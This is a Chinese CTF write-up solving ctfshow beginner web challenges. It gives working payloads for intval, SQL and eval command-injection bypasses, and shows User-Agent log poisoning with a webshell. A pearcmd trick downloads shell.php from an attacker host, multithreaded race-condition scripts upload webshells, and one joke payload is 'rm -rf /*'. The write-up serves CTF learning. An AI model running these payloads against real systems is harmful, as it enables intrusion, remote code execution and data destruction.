ctfshow_萌新

web

web1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
if(isset($_GET['id'])){
$id = $_GET['id'];
# 判断id的值是否大于999
if(intval($id) > 999){
# id 大于 999 直接退出并返回错误
die("id error");
}else{
# id 小于 999 拼接sql语句
$sql = "select * from article where id = $id order by id limit 1 ";
echo "执行的sql为:$sql<br>";
# 执行sql 语句
$result = $conn->query($sql);
# 判断有没有查询结果
if ($result->num_rows > 0) {
# 如果有结果,获取结果对象的值$row
while($row = $result->fetch_assoc()) {
echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";
}
}
# 关闭数据库连接
$conn->close();
}

}else{
highlight_file(__FILE__);
}

?>
</body>
<!-- flag in id = 1000 -->
</html>

目标就是让intval($id) <= 999的同时$id=1000

1
2
3
?id=999%2B1
+用urlencode->%2B
?id=10 or id=1000#从sql语句入手

web2

和上一题比只多了个

1
if(preg_match("/or|\+/i",$id))

只要不出现or或者+就可以了

1
2
?id=100*10
?id=10||id=1000#从sql语句入手

web3

修改了匹配规则

1
preg_match("/or|\-|\\|\*|\<|\>|\!|x|hex|\+/i",$id)

intval如果转换字符串的时候,先判断是否以数字开头。当传入’1000’时,以’开头,直接返回0

1
2
3
4
<?php
$a='1000'
$b=$_GET['b']
当传入?b='1000'时,分别var_dump $a和$b,返回的结果不一样
1
?id='1000'

web4

1
preg_match("/or|\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i",$id)

还是web3的原则,利用取反符号,intval遇到~会判断为字符串,得到0绕过

1
?id=~~1000

web5

1
preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i", $id)

继续取反

1
?id=~~1000

web6

1
preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|x|hex|\(|\)|\+|select/i",$id)

继续

1
?id=~~1000

web7

1
preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|\~|x|hex|\(|\)|\+|select/i",$id)

intval默认给的base是10,当base给到0的时候,才会根据传入的值动态判断base。base10解析之后的0b1111101000应该是int(0)

1
?id=0b1111101000

web8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
# 包含数据库连接文件,key flag 也在里面定义
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['flag'])){
if(isset($_GET['flag'])){
$f = $_GET['flag'];
if($key===$f){
echo $flag;
}
}
}else{
highlight_file(__FILE__);
}

?>

傻逼题

1
?flag=rm -rf /*

web9

1
2
3
4
5
6
7
8
9
10
if(isset($_GET['c'])){
$c = $_GET['c'];
if(preg_match("/system|exec|highlight/i",$c)){
eval($c);
}else{
die("cmd error");
}
}else{
highlight_file(__FILE__);
}

傻逼了,以为看的是!preg_match,最开始用的php://input伪协议绕过

结果这么简单

1
?c=system('cat config'|base64)

web10

1
if(!preg_match("/system|exec|highlight/i",$c))

换用passthru()函数

1
?c=passthru('cat config.php|base64');

web11

1
if(!preg_match("/system|exec|highlight|cat/i",$c))

passthru+tac

1
?c=passthru('tac config.php|base64');

web12

1
if(!preg_match("/system|exec|highlight|cat|\.|php|config/i",$c))

禁止的字符新增了. php config

考虑使用通配符

1
?c=passthru('tac c*|base64');

web13

1
if(!preg_match("/system|exec|highlight|cat|\.|\;|file|php|config/i",$c))

亏贼,?>能代替;

1
?c=passthru('tac c*|base64')?>

web14

1
if(!preg_match("/system|exec|highlight|cat|\(|\.|\;|file|php|config/i",$c))

多加了个(,其实还挺低能的,在上面也能用统一方法直接echo出来

就是需要把;换成?>

参考

代码不能包含打开/关闭 PHP tags。比如, 'echo "Hi!";' 不能这样传入: '<?php echo "Hi!"; ?>'。但仍然可以用合适的 PHP tag 来离开、重新进入 PHP 模式。比如 'echo "In PHP mode!"; ?>In HTML mode!<?php echo "Back in PHP mode!";'

1
?c=echo $flag?>

web15

1
if(!preg_match("/system|\\*|\?|\<|\>|\=|exec|highlight|cat|\(|\.|file|php|config/i",$c))

把<>?全过滤了,没发离开php模式,但没禁用;

1
?c=echo $flag;

web16

1
if(md5("ctfshow$c")==="a6f57ae38a22448c2f07f3f95f49c84e")

脑残,md5逆向之后是ctfshow36d

1
?c=36d

web17

1
2
3
if(!preg_match("/php/i",$c)){
include($c);
}

看到include,第一时间想的伪协议。换用了data也因为被禁用没有成功

data:// wrapper is disabled in the server configuration by allow_url_include=0

看了wp才知道,只是包含日志

1
?c=/var/log/nginx/access.log

通过日志看得出来会记录UA

那就修改UA为一句话木马

image-20230918132518605

然后访问带着一句话木马的UA访问一遍网站,等写进去再打一遍

1
2
?c=/var/log/nginx/access.log
test=system('cat 36d.php|base64');

web18

只在$_GET[‘c’]里多加入了对file的过滤,同上↑

web19

1
if(!preg_match("/php|file|base/i",$c))

同理

web20

1
if(!preg_match("/php|file|base|rot/i",$c))

同理

web21

1
if(!preg_match("/php|file|\:|base|rot/i",$c))

同上

web22

1
if(!preg_match("/\:|\/|\\\/i",$c))

亏贼,难度一下上来了,完全没有思路

https://blog.csdn.net/qq_46091464/article/details/108954166

argv

传递给该脚本的参数的数组。当脚本以命令行方式运行时,argv 变量传递给程序 C 语言样式的命令行参数。当通过 GET 方式调用时,该变量包含query string。

argc

包含命令行模式下传递给该脚本的参数的数目(如果运行在命令行模式下)。

当正常传入?c=xxx&b=xx时,$_SERVER[‘argc’]的值始终是1

image-20230918165121242

但是略加修改,?c=xxx&+b=xx时,就变成了2。

而环境内极其傻逼的还有一个pearcmd.php,pearcmd有一个download功能可以从外部下载php文件

那就是包含了pearcmd.php,然后通过+分隔,执行download命令

1
2
3
4
5
6
攻击机:
echo "<?php system('cat 3*|base64');?>">shell.php
python3 -m http.server 81
靶机:
?c=pearcmd&+download+http://ip:81/shell.php
/shell.php

获得百分之百的快乐

1
2
3
if(strlen($_GET[1])<4){
echo shell_exec($_GET[1]);
}

要求传入1的长度<4,太牛逼了

直接跑个ls,发现名字都很靠后

image-20230918175530980

tip:在linux上,直接执行>name可以创建一个名为name的文件并往里写东西

image-20230918175716313

在Linux的Shell环境下,直接执行星号(*)通常会触发通配符展开(Wildcard Expansion)操作,其效果是匹配当前目录下的所有文件和目录(除了以点开头的隐藏文件和隐藏目录)并将它们作为参数传递给相应的命令。这是因为星号(*)是通配符,用于匹配零个或多个字符。

直接输*会把当前文件夹下的第一个文件名作为命令,剩余的文件名作为参数

如果当前文件夹下有文件:cat,test。执行*的效果等价于cat test

除了cat,还有nl这个命令同样可以用来显示内容

1
2
?1=>nl
?1=*

web23

第一次遇到竞争上传,学习一下

其实每次上传成功之后都要等一下就该意识到有个sleep然后想到竞争上传的

源码

1
2
3
4
5
6
$new_filename = date('YmdHis',time()).rand(100,1000).'.'.$ext_suffix;
if (move_uploaded_file($temp_name, 'uploads/'.$new_filename)){
echo "uploads/$new_filename";
sleep(1);
system("rm -rf ./uploads/*.php");
}

有爆破脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# coding: utf-8
# Auth: y2hlbmc

import requests
import time
import threading

url = "http://0d33429a-38e4-4c4e-8d57-16fca7d5eab1.challenge.ctf.show/"

def Thread(fun,*args):
return threading.Thread(target=fun, args=args)

def req(fname):
r = requests.get(url + "uploads/" + fname + ".php")
x = r.text
if len(x) > 0 and "404 Not Found" not in x and "容器已过期" not in x:
print(x)

def Thread_start(fname):
for i in range(100,400):
# 每个文件名单起一个线程
Thread(req, fname + str(i)).start()

def upload():
while True:
# 指定每次上传文件的内容
file_data = {'file':('shell.php',"<?php system(\"ls -l ../\");?>".encode())}
r = requests.post(url + "upload.php",files=file_data)
txt = r.text
print("uploaded:",txt)
# 用本次的文件名推算下一次的文件名,相差sleep一次的时间间隔
ts = int(time.mktime(time.strptime(txt[8:22], "%Y%m%d%H%M%S")))
fname = time.strftime("%Y%m%d%H%M%S", time.localtime(ts + 1))
# 单起一个线程,爆破下一次upload的文件名
Thread(Thread_start, fname).start()


if __name__ == '__main__':
upload()

当然也可以用bp+python一起爆

具体思路是bp用instruder一直发送上传包

python用当前时间+range+thread一直爆

如果不采用推算文件名和多线程的方法,想要在来回时延下做到1s内访问到是非常困难的,所以下面代码的成功率极低

1
2
3
4
5
6
7
8
file_data = {'file': ('shell.php', "<?php system(\"ls -l ../\");?>".encode())}
r = requests.post(url + "upload.php", files = file_data)
txt = r.text
# print("uploaded:", txt)
r = requests.get(url + "uploads/" + txt)
x = r.text
if len(x) > 0 and "404 Not Found" not in x and "容器已过期" not in x:
print(x)

web24

一样是竞争上传的题目,把range减少,时间增加了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# coding: utf-8
# Auth: y2hlbmc

import requests
import time
import threading

url = "http://aa167920-a54b-498c-bf8e-877615061128.challenge.ctf.show/"

def Thread(fun,*args):
return threading.Thread(target=fun, args=args)

def req(fname):
r = requests.get(url + "uploads/" + fname + ".php")
x = r.text
if len(x) > 0 and "404 Not Found" not in x and "容器已过期" not in x:
print(x)

def Thread_start(fname):
for i in range(100,300):
# 每个文件名单起一个线程
Thread(req, fname + str(i)).start()

def upload():
while True:
# 指定每次上传文件的内容
file_data = {'file':('shell.php',"<?php system(\"ls -l ../\");?>".encode())}
r = requests.post(url + "upload.php",files=file_data)
txt = r.text
print("uploaded:",txt)
# 用本次的文件名推算下一次的文件名,相差sleep一次的时间间隔
ts = int(time.mktime(time.strptime(txt[8:22], "%Y%m%d%H%M%S")))
fname = time.strftime("%Y%m%d%H%M%S", time.localtime(ts + 3))
# 单起一个线程,爆破下一次upload的文件名
Thread(Thread_start, fname).start()


if __name__ == '__main__':
upload()
  • Copyrights © 2022-2024 b1xcy